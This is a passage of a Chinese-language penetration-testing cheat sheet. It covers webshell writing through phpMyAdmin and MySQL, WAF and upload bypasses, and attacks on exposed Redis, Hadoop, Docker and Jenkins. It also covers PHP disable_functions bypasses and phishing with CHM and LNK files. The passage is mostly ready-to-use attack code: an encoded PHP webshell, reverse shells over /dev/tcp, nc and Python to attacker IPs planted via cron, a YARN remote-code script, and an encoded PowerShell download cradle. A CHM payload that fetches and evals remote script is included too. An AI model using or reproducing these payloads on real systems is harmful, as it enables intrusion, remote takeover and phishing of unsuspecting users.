select '<?php file_put_contents("1.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/1.php';
```

**LOG**

```
show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log模式
set global general_log_file = '/var/www/html/1.php'; 
select '<?php eval($_POST[cmd]);?>'
```

**慢查询**

```
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);
```

**任意文件读取**

```
phpMyAdmin 2.x
POST /scripts/setup.php HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
```

**LFI**

```
phpMyAdmin 4.0.1--4.2.12，PHP < 5.3.4
/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
phpMyAdmin 4.8.0和4.8.1 后台权限
>select '<?php phpinfo();exit;?>'
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_***
```

**RCE**

```
PhpMyAdmin 4.0.x-4.6.2，PHP 4.3.0-5.4.6后台权限
>cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
phpMyAdmin 4.8.0~4.8.3
CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
访问http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop';
访问
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
```


# 绕过WAF

**SQL注入分块传输**

```
https://github.com/c0ny1/chunked-coding-converter
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/25.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/26.png)

```
跑注入点被拦截
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/27.png)

```
使用分块传输，右键选择
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/28.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/30.png)

```
使用SQLMAP跑注入
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/31.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/32.png)

```
>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/33.png)

**自动提供可用的tamper**

```
https://github.com/m4ll0k/Atlas
GET类型的注入
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
POST类型的注入
python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
请求头注入
python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
组合tamper
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v
列出tamper
python atlas.py -g
例子
注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/658.png)

```
可以看到被拦截了
查找能绕过的tamper
python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/659.png)

```
根据返回码200得到一个可绕过waf的tamper
versionedkeywords这个tamper
继续注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
根据状态码来判断有时会有点鸡肋，但是也能用用，随机发挥吧。
```

**垃圾数据**

```
#coding=utf-8
import random,string
from urllib import parse
# code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
	str_list = [random.choice(string.ascii_letters) for i in range(length)]
	random_str = ''.join(str_list)
	return random_str
def main():
	data={}
	for i in range(num_min,num_max):
		data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
	print('&'+parse.urlencode(data)+'&')
main()
放到要注入的字段前后
```

**上传bypass**

```
	图片文件头
PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A
GIF 为 47 49 46 38 37 61
JPG 为 FF D8 FF E0
	添加图片头或合并图片包含
	后缀大小写
	文件名前缀加[0x09]
	上传.htaccess
	SetHandler application/x-httpd-php
	二次渲染
	GIF
	找好一个大一点的GIF，尾部使用c32插入shell，上传，下载回来，使用burp的comparer功能找出整个文件没有被渲染的位置，插入shell再上传
	JPG
	使用脚本直接生成
	https://github.com/BlackFan/jpg_payload
	PNG
	使用脚本直接生成
	先取消php.ini注释;extension=php_gd2.dll
```

```php
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
	$r = $p[$y];
	$g = $p[$y+1];
	$b = $p[$y+2];
	$color = imagecolorallocate($img, $r, $g, $b);
	imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
```

```
	上传php3,php4,phtml等
	文件名后加::$DATA
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA"
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"
	asp . (空格+.)
	php. .(点+空格+点)
	双写phphpp
	00截断
Get参数00截断直接添加%00
POST参数00截断修改hex为00
	修改一些固定的参数
	文件名去掉双引号
	加一个filename1的参数
	form变量改成f+orm
	去掉form-data
	在Content-Disposition或form-data;后添加多个空格
	引号回车
ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp
"
	Content-Type和ConTent-Disposition调换位置
	文件名前缀加空格
filename=    "1.asp"
	name前加空格
Content-Disposition: form-data;      name="uploaded"; filename="1.asp"
	form-data的前后加上+
Content-Disposition: +form-data; name="filepath"; filename="1.asp"
	* ASP+IIS
s%elect>select
s%u0065lect>select  
s%u00f0lect>select
s%u0045lect = s%u0065lect = %u00f0lect
u -->%u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
	Asp+iis&aspx+iis
s%u006c%u0006ect>select
	* apache
TEST /sql.php?id=1 HTTP/1.1
	* 大小写/关键字
UniOn SeLECT
Mid()substring() ? substr()
Hex()?ascii()
sleep() =benchmark()
concat_ws()=group_concat()
	双重url编码
	变换请求方式
	HPP参数污染
id=1&id=2&id=3
得到的结果：Asp.net + iis：id=1,2,3 
Asp+iis：id=1,2,3 
Php+apache：id=3
MSSQL:
GET+POST: 
GET:http://192.168.125.140/test/sql.aspx?id=1 union/*
post:  id=2*/select null,null,null
无逗号形式：
?id=1 union select 1&id=2&id=3&id=4 from admin--（）  
利用逗号：
?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
无效参数形式：
?a=/*&sql=xxx&b=*/  a,b为无效参数
溢出形式：?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union  select null,system_user,null from INFORMATION_SCHEMA.schemata
MYSQL：
?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin
```


# DNSLOG

```
http://ceye.io
http://www.dnslog.cn/
```


# IIS写权限

```
桂林老兵的IIS写权限利用工具
```


# 未授权访问


# hadoop

```
http://192.168.1.1:8088/cluster
本地监听端口 >> 创建Application >> 调用Submit Application API提交
```

```python
#!/usr/bin/env python
import requests

target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
```


# memcache

```
默认端口11211
>telnet 1.1.1.1 11211
>nc -vv 1.1.1.1 11211
```


# mongo

```
默认端口27017直接连接进行增删改查
连接工具
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
```


# Redis

**测试**

```
>redis-cli -h 127.0.0.1 flunshall 
192.168.0.110:6379>ping
PONG 存在未授权访问
```

**JS打内网**

```
var cmd = new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('flushall\r\n');             
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('eval \'' + 'redis.call(\"set\",\"1\",\"\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/外网IP/5566 0>&1\\n\\n");redis.call(\"config\", \"set\", \"dir\",\"/var/spool/cron/\"); redis.call(\"config\",\"set\", \"dbfilename\", \"root\");' + '\' 0' +"\r\n");       
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");       
cmd.send('save\r\n');
```

**反弹shell**

```
保存为sh
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.108/12138 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
echo -e "\n\n */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
执行
>bash 1.sh 192.168.0.120 6379
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/34.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/35.png)

**写shell**

```
6379> config set dir /var/www/html/
6379> config set dbfilename shell.php
6379> set x "<?php phpinfo();?>"
6379> save
```

**SSH**

```
ssh-keygen
本地生成一对密钥
https://github.com/JoyChou93/hackredis
>ssh-keygen -t rsa -C "xx@xx.com"
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>redis-cli -h 127.0.0.1 flunshall
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
本地登录
#ssh -i id_rsa root@11.11.11.11
```

**redis-rogue-getshell**

```
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/36.png)

**redis-rogue-server**

```
https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/37.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/38.png)

```
也可以反向shell
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/39.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/40.png)

**redis在windows下的利用**

```
Web目录写入木马
启动项
系统DLL劫持(目标重启或注销)
特定软件的DLL劫持
覆盖快捷方式
覆盖配置文件
覆盖sethc等文件
https://github.com/r35tart/RedisWriteFile
>python3 rediswritefile.py --rhost=目标IP --rport=6379 --lhost=本机IP --lport=本地端口 --rpath="在目标保存的路径" --rfile="在目标保存的文件" --lfile="本地文件" --auth=redis密码
```

**Lua RCE**

```
https://github.com/QAX-A-Team/redis_lua_exploit
修改redis_lua.py里的 host 为目标 IP
执行返回正常，反弹shell
>eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.108/12345 0>&1', 8)" 0
```

**Redis漏洞利用工具**

```
https://github.com/yuyan-sec/RedisEXP
windows
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -c whoami
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -exec -console
linux平台
>RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -c whoami
>RedisExp.exe -rhost 192.168.211.130 -lhost 192.168.211.1 -so exp.so -exec -console
文件上传
>RedisExp.exe -rhost 192.168.211.128 -lhost 192.168.211.1 -upload -rfile 1.txt -lfile 2.txt
写shell
>RedisExp.exe -rhost 192.168.211.128 -shell
Lua沙盒绕过命令执行 CVE-2022-0543
>RedisExp.exe -rhost 192.168.211.130 -lua -console
爆破redis密码
>RedisExp.exe -r 192.168.211.128 -brute -pwdf ../pass.txt
```


# zookeeper

```
默认端口2181
获得服务器环境信息
>echo envi|nc 192.168.0.1 2181
连接
>./zkCli.sh -server ip:port
连接工具
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
```


# activemq

```
默认端口8161
http://1.1.1.1:8161/admin/connections.jsp
PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
Content-Length: 27
Host: 1.1.1.1:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123
```


# docker

```
默认端口2375
>docker -H tcp://1.1.1.1:2375 images
本地监听
启动容器
docker -H tcp://1.1.1.1:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://1.1.1.1:2375 ps
进入容器
docker -H tcp://1.1.1.1:2375 exec -it a8ff7ed880fb sh
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root 
exit
Shipyard默认密码
admin/shipyard
```


# elastic

```
默认端口9200
http://1.1.1.1:9200/_plugin/head/
http://1.1.1.1:9200/_nodes
http://1.1.1.1:9200/_river
http://1.1.1.1:9200/_plugin/sql/
```


# jboss

```
http://192.168.1.1:8080/jmx-console/ 无需认证进入
jboss.deployment部署shell
addURL()的paramValue写入远程war木马地址
```


# VNC

```
默认端口 5900、5901
```


# Weblogic

```
J2EE应用服务器，默认端口7001
访问URL，直接打开后台页面
http://192.168.1.10:7001/console/css/%252e%252e%252fconsole.portal
```


# Zabbix

```
服务器监控软件，默认端口10051
无需账户密码直接访问zabbix页面
```


# CouchDB

```
开源数据库，默认端口5984，SSL端口6984
curl 192.168.1.10:5984
curl 192.168.1.10:5984/_config
```


# Jenkins

```
http://<target>:8080/manage
http://<target>:8080/script
执行系统命令
println "whoami".execute().text
```


# Solr

```
solr的管理界面通常包含如下信息：solr的配置信息（包括路径，用户名，系统版本信息），数据库的配置信息（地址，用户名，密码），数据库搜索数据等
http://xx/solr/admin
https://xx/solr/admin
```


# 一些Bypass


# Linux绕过disable\_function

**LD\_PRELOAD**

```
linux环境
putenv()、mail()可用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
outpath是命令输出位置，sopath指定so文件路径。
或
替换php文件中的mail为error_log("a",1);
```

**php7.0-7.3 bypass**

```
直接bypass
https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php
```


# Open\_basedir绕过

```
第一种
http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
第二种
http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
第三种
命令执行绕过
读文件
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));
```


# Windows系统组件com绕过

```php
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象　Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
```


# 常规函数绕过

**常规函数绕过**

```php
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
```

**pcntl\_exec**

```
开启了pcntl 扩展，并且php 4>=4.2.0 , php5，linux
```

```php
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
```

```
test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
```

**imap\_open函数**

```php
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
```

**php7.4 FFI绕过**

```
php 7.4
ffi.enable=true
```

```php
<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>
```

#### shellshock

```
存在CVE-2014-6271漏洞
PHP 5.*，linux，putenv()、mail()可用
```

```php
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
```


# 蚁剑绕过

```
01利用LD_PRELOAD环境变量
02利用ShellShock（CVE-2014-6271）
03利用Apache Mod CGI
04 PHP-FPM利用LD_PRELOAD环境变量（同1）
05攻击PHP-FPM监听端口
06 Json Serializer UAF
07具有特定析构函数UAF的PHP7 GC
```


# cgi启动方式

```
phpinfo中搜索server api是cgi或者fastcgi
如果是cgi模式:上传如下htaccess
Options ExecCGI
AddHandler cgi-script .xx
windows平台
#!C:/Windows/System32/cmd.exe /c start calc.exe
1
linux平台
#!/bin/bash
echo -ne "Content-Type: text:html\n\n"
whoami
如果是fast_cgi，上传如下htaccess
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
上传任意文件.abc
相对路径
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
```


# ImageMagick组件绕过

```
imageMagick 版本 v6.9.3-9 或 v7.0.1-0
第一种
```

```php
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'    //核心
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
```

```
第二种
```

```c
#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
```

```
编译
gcc -shared -fPIC imag.c -o imag.so
```

```php
<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>
```


# 鱼叉式攻击


# 钓鱼邮件

**邮件服务器搭建**

```
https://github.com/biggerduck/RedTeamNotes/blob/main/%E7%BA%A2%E9%98%9F%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD%E4%B9%8B%E9%82%AE%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%90%AD%E5%BB%BA.pdf
```

**钓鱼邮件**

```
假冒的内部域名
假冒的外部域名
近似域名
被黑账户
群发/特定发
虚构情景/恶意连接/恶意文件
```

**CVE**

**CVE-2017-11882**

```
Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016
```

**CVE-2017-0199**

```
Microsoft Office 2007 SP3 / 2010 SP2 / 2013 SP1 / 2016，Vista SP2，Server 2008 SP2，Windows 7 SP1，Windows 8.1
```

**CVE-2012-0158**

```
Microsoft Office 2003 SP3、2007 SP2和SP3，以及2010 Gold和SP1；Office 2003 Web组件SP3；SQL Server 2000 SP4、2005 SP4和2008 SP2，SP3和R2; BizTalk Server 2002 SP1；Commerce Server 2002 SP4、2007 SP2和2009 Gold和R2; Visual FoxPro 8.0 SP1和9.0 SP2; 和Visual Basic 6.0
```

**CVE-2017-0143**

```
Microsoft Windows Vista SP2；Windows Server 2008 SP2和R2 SP1; Windows 7 SP1；Windows 8.1; Windows Server 2012 Gold和R2；Windows RT 8.1；Windows 10 Gold，1511和1607；以及 和Windows Server 2016
OFFICE文档/ PDF文件
```

**可执行文件**

**文档文件的伪造**

**扩展名/图标**

**捆绑**

**宏**

**0day**

**CHM**

```
使用编译的HTML文件加载恶意代码。
使用EasyCHM对html进行编译，在html文件中插入恶意代码。
使用MSF生成powershell格式的web_delivery模块
使用Rundll32配合MyJSRAT实施运行无弹窗
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/44.png)

```
把命令base编码避免特殊符号
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/45.png)

```
执行语句编码后
>powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA==
通过JSRat执行powershell上线命令
https://github.com/Ridter/MyJSRat
>python MyJSRat.py -i 192.168.1.107 -p 8888 -c "powershell -ep bypass -enc JABCAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAKACQAQgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAKACQAQgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoASQBFAFgAIAAkAEIALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADAANwA6ADgAMAA4ADAALwBQAEsAUQBOAEUAYgAnACkAOwAKAA=="
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/46.png)

```
访问http://ip/wtf复制利用语句到html文件后编译
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/47.png)

```
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.0.107:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/48.png)

```
正常打开CHM文件，无弹窗上线。
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/49.png)

**LNK钓鱼**

```
https://github.com/Yihsiwei/Lnk-Trojan
https://github.com/biggerduck/RedTeamNotes/blob/main/lnk%E9%92%93%E9%B1%BC%E6%A0%B7%E6%9C%AC%E7%9A%84%E5%88%B6%E4%BD%9C.pdf
```

**自动化批量化发送钓鱼邮件**

```
https://github.com/SkewwG/henggeFish
```


# 钓鱼连接

**URL跳转**

**结合恶意文档或程序**

**短URL**

**结合水坑攻击**

**相似域名**

```
注册相似域名，使用拉丁字母，西里尔字母等字符。
```

**域名窃取**


# 第三方鱼叉

```
